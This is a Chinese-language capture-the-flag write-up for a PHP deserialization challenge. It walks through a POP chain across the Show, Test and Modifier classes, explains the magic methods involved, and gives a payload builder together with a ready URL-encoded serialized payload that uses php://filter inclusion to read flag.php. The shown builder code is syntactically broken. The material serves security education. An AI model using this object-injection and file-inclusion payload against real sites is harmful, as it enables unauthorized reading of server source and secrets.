知识点:1.魔法函数
2.文件包含漏洞
1.开题,php代码审计
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
a.根据提示flag is in flag.php,我们需要获得flag.php源码
b.代码刚开始就有Include()函数,文件包含漏洞,很明显include(伪协议)获取源码
include(php://filter/read=convert.base64-encode/resource=flag.php)
c.要将获取的源代码进行输出,在源代码SHOW类中找到echo,用这里进行输出
2.
魔法函数:
__invoke():
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
__construct():
创建类对象时自动调用 当使用 new 操作符创建一个类的实例时,构造方法将会自动调用
__toString():
__toString()会在需要转成字符串时, 会隐式自动调用它, 在PHP内部. 这个也是来自JAVA的
当一个对象被当作一个字符串被调用。
__wakeup():
使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
进行分析,传序列化对象,先调用__wakeup();
在序列化对象中传入类对象,类对象有str参数,且str->source为Test类对象,自动调用__get();
Test类含有参数p,p为Modifier类对象,在调用test类function时自送调用该类_invoke();
Modifier类对象含有参数var,var为include()内参数,令var=伪协议;
最后因为调用了反序列化,
3.构造payload
<?php
class Modifier { //1.应传参值
protected $var=php://filter
}
class Show{ //3.标明show类,及类内参数 5.类函数
public $source;
public $str;
public function __construct(){
$this->str =new Test(); }
}
class Test{ //4.p为test的对象
public $p;
public function __construct(){
$this->p =new Modifier(); }
}
$a=new Show(); //2.构造payload序列化前值,先调用
__wakeup(),所以外层必然是show
$b=new Show();
$b->str="";
$b->source=$a;
$b=serialize($b)
print($b);
print("\n");
print(urlencode($b));
前面的是序列化的对象;后面的是序列化对象url编码后的,就是我们要传的值
令pop=
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bs%3A0%3A%22%22%3B%7D
flag{22fb5275-9e2c-40ef-9b98-7e05571a5648}